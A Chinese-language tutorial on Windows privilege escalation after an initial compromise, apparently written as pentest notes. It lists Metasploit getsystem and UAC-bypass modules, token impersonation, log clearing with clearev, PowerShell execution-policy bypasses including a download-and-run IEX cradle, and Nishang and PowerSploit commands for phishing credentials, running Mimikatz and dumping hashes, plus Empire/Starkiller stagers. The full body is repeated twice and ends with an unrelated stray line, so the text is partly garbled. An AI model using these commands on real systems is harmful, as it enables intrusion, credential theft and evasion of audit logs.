攻击者获取到目标主机权限后以此为跳板获取网络内其他主机的权限一、提权方法两种提权形式本地提权权限低的用户在本地计算机上提升到管理员权限或系统权限远程提权攻击者将自己在远程主机的低级别权限提升到管理员权限或系统权限提取之前需要进行目标主机信息收集以 windows 为例net user net localgroup Administrators systeminfoWindows-Exploit-Suggester 工具获取 windows 漏洞数据库python2 windows-exploit-suggester.py--updawindows 终端输入systeminfowin7.txt拷贝文件到 kali运行脚本工具列出可能造成提权的漏洞python2 windows-exploit-suggester.py--database2023-03-30-mssb.xls--systeminfo/root/ win7二、使用Metasploit框架提权1. 系统权限获取 meterpreter 会话后在会话中执行命令 getsystem输入命令 getuid 确认会话权限升级为系统权限。2. UAC 绕过UACuser account control 用户账户控制功能确保仅在管理员授权下可更改系统设置。通过获取系统权限绕过 UACuse exploit/windows/local/bypassuacsetsession1通过进程注入绕过 UACuse exploit/windows/local/ bypassuac_injectionsetsession1exploit其他方法exploit/windows/local/bypassuac_fodhelper通过劫持当前用户注册表中的一个特殊键来绕过UAC并且插入一个自定义命令。该命令将在启动Windows fodhelper.exe应用程序时调用。exploit/windows/local/bypassuac_eventvwr通过劫持当前用户注册表中的一个特殊键来绕过UAC并且插入一个自定义命令。该命令将在启动Windows事件查看器时调用。exploit/windows/local/bypassuac_comhijack通过在注册表HKCU中创建COM处理程序来绕过UAC。自动检测可以用来提权的模块use post/multi/recon/local_exploit_suggester3. 假冒令牌提权假冒令牌冒充网络中另一个用户进行操作令牌 token系统的临时密钥令牌持续存在于系统中除非系统重新启动令牌类型访问令牌访问控制操作主体的系统对象密保令牌认证令牌或硬件令牌用于计算机身份校验的物理设备U盾会话令牌交互会话中唯一的身份标识符委派令牌交互式会话登陆use incognito list_tokens-uimpersonate_token NT AUTHORITY\SYSTEM# 假冒系统用户4. RunAs 提权exploit /windows/local/asksetsession1run clearev# 清除痕迹三、PowerShell 脚本提权PowerShell是一种面向对象的自动化引擎和脚本语言带有交互式命令行shell且基于.NET Framework构建。由于PowerShell的脚本具有强大的功能因此可以很灵活地对Windows系统进行管理。可以运行 .NET 代码并动态运行无需将代码写入磁盘中即可在内存中运行。1. 基本用法powershell 脚本是一个 .ps1 文件执行策略如下Restricted默认策略不允许任何脚本运行。AllSigned只能运行经过数字证书签名的脚本。RemoteSigned运行本地的脚本不需要数字签名但是运行从网络上下载的脚本就必须要有数字签名。Unrestricted允许所有脚本运行。set-executionpolicy 策略名称策略绕过本地权限绕过powershell.exe–Nop–NonI–Exec Bypass–Command {Import-Module脚本路径; 脚本名称}-noexit下载远程脚本绕过IEX(New-Object Net.WebClient).DownloadString(脚本地址)关闭安全警告Set- ExecutionPolicy-ExecutionPolicy Bypass-Scope Process# powershell2.0$Env:PSModulePath.Split(;)|%{if(Test-Path(Join- Path$_PowerSploit)){Get-ChildItem$_-Recurse|Unblock-File}}# powershell3.02. PowerSploit 工具提权Import- Module下载目录\powersploit\Privesc\Privesc.psd1 Invoke-PrivescAudit-FormatHTML调用服务使用预编译的可执行文件# 假冒令牌Get-System# 模拟另一个登陆用户的令牌Invoke-TokenManipulation-CreateProcesscmd.exe-Usernament authority\system3. Nishang 提权apt-getinstallnishangImport-Module下载目录\nishang\nishang.psm1# 绕过 uacInvoke-PsUACme-Verbose# 复制访问令牌Enable-DuplicateTokenlshklm:\security Get-Information Check-VM# 获取目标主机账号密码Invoke-CredentialsPhish# 列出登陆凭据Invoke-Mimikatz Get-PassHashes# 删除指定补丁Remove-Update 指定补丁编号四、StarKiller 后渗透框架Powershell Empire的前端应用程序基于 Powershell 构建的后渗透测试框架。1. 基础使用安装apt-getinstallstarkiller开启powershell- empire server--username用户名--password密码配置监听器listeners —— create —— 填写信息 —— 提交创建 payloadstagers —— new stager —— create上传 payload 到目标主机并运行获取代理会话agents —— actions —— view2. 提权绕过 uacTechniques 中输入 bypassuacpowershell/ privesc/getsystemwindows 溢出漏洞使用 MS16-032 和 MS16-135 模块RunAS 提权 powershell/privesc/ask提权辅助模块 powershell/privesc/sherlock
攻击者获取到目标主机权限后以此为跳板获取网络内其他主机的权限一、提权方法两种提权形式本地提权权限低的用户在本地计算机上提升到管理员权限或系统权限远程提权攻击者将自己在远程主机的低级别权限提升到管理员权限或系统权限提取之前需要进行目标主机信息收集以 windows 为例net user net localgroup Administrators systeminfoWindows-Exploit-Suggester 工具获取 windows 漏洞数据库python2 windows-exploit-suggester.py--updawindows 终端输入systeminfowin7.txt拷贝文件到 kali运行脚本工具列出可能造成提权的漏洞python2 windows-exploit-suggester.py--database2023-03-30-mssb.xls--systeminfo/root/ win7二、使用Metasploit框架提权1. 系统权限获取 meterpreter 会话后在会话中执行命令 getsystem输入命令 getuid 确认会话权限升级为系统权限。2. UAC 绕过UACuser account control 用户账户控制功能确保仅在管理员授权下可更改系统设置。通过获取系统权限绕过 UACuse exploit/windows/local/bypassuacsetsession1通过进程注入绕过 UACuse exploit/windows/local/ bypassuac_injectionsetsession1exploit其他方法exploit/windows/local/bypassuac_fodhelper通过劫持当前用户注册表中的一个特殊键来绕过UAC并且插入一个自定义命令。该命令将在启动Windows fodhelper.exe应用程序时调用。exploit/windows/local/bypassuac_eventvwr通过劫持当前用户注册表中的一个特殊键来绕过UAC并且插入一个自定义命令。该命令将在启动Windows事件查看器时调用。exploit/windows/local/bypassuac_comhijack通过在注册表HKCU中创建COM处理程序来绕过UAC。自动检测可以用来提权的模块use post/multi/recon/local_exploit_suggester3. 假冒令牌提权假冒令牌冒充网络中另一个用户进行操作令牌 token系统的临时密钥令牌持续存在于系统中除非系统重新启动令牌类型访问令牌访问控制操作主体的系统对象密保令牌认证令牌或硬件令牌用于计算机身份校验的物理设备U盾会话令牌交互会话中唯一的身份标识符委派令牌交互式会话登陆use incognito list_tokens-uimpersonate_token NT AUTHORITY\SYSTEM# 假冒系统用户4. RunAs 提权exploit /windows/local/asksetsession1run clearev# 清除痕迹三、PowerShell 脚本提权PowerShell是一种面向对象的自动化引擎和脚本语言带有交互式命令行shell且基于.NET Framework构建。由于PowerShell的脚本具有强大的功能因此可以很灵活地对Windows系统进行管理。可以运行 .NET 代码并动态运行无需将代码写入磁盘中即可在内存中运行。1. 基本用法powershell 脚本是一个 .ps1 文件执行策略如下Restricted默认策略不允许任何脚本运行。AllSigned只能运行经过数字证书签名的脚本。RemoteSigned运行本地的脚本不需要数字签名但是运行从网络上下载的脚本就必须要有数字签名。Unrestricted允许所有脚本运行。set-executionpolicy 策略名称策略绕过本地权限绕过powershell.exe–Nop–NonI–Exec Bypass–Command {Import-Module脚本路径; 脚本名称}-noexit下载远程脚本绕过IEX(New-Object Net.WebClient).DownloadString(脚本地址)关闭安全警告Set- ExecutionPolicy-ExecutionPolicy Bypass-Scope Process# powershell2.0$Env:PSModulePath.Split(;)|%{if(Test-Path(Join- Path$_PowerSploit)){Get-ChildItem$_-Recurse|Unblock-File}}# powershell3.02. PowerSploit 工具提权Import- Module下载目录\powersploit\Privesc\Privesc.psd1 Invoke-PrivescAudit-FormatHTML调用服务使用预编译的可执行文件# 假冒令牌Get-System# 模拟另一个登陆用户的令牌Invoke-TokenManipulation-CreateProcesscmd.exe-Usernament authority\system3. Nishang 提权apt-getinstallnishangImport-Module下载目录\nishang\nishang.psm1# 绕过 uacInvoke-PsUACme-Verbose# 复制访问令牌Enable-DuplicateTokenlshklm:\security Get-Information Check-VM# 获取目标主机账号密码Invoke-CredentialsPhish# 列出登陆凭据Invoke-Mimikatz Get-PassHashes# 删除指定补丁Remove-Update 指定补丁编号四、StarKiller 后渗透框架Powershell Empire的前端应用程序基于 Powershell 构建的后渗透测试框架。1. 基础使用安装apt-getinstallstarkiller开启powershell- empire server--username用户名--password密码配置监听器listeners —— create —— 填写信息 —— 提交创建 payloadstagers —— new stager —— create上传 payload 到目标主机并运行获取代理会话agents —— actions —— view2. 提权绕过 uacTechniques 中输入 bypassuacpowershell/ privesc/getsystemwindows 溢出漏洞使用 MS16-032 和 MS16-135 模块RunAS 提权 powershell/privesc/ask提权辅助模块 powershell/privesc/sherlock
平方复杂度无法被常规优化消除｜TaoToken 统一 Key 通道实测)
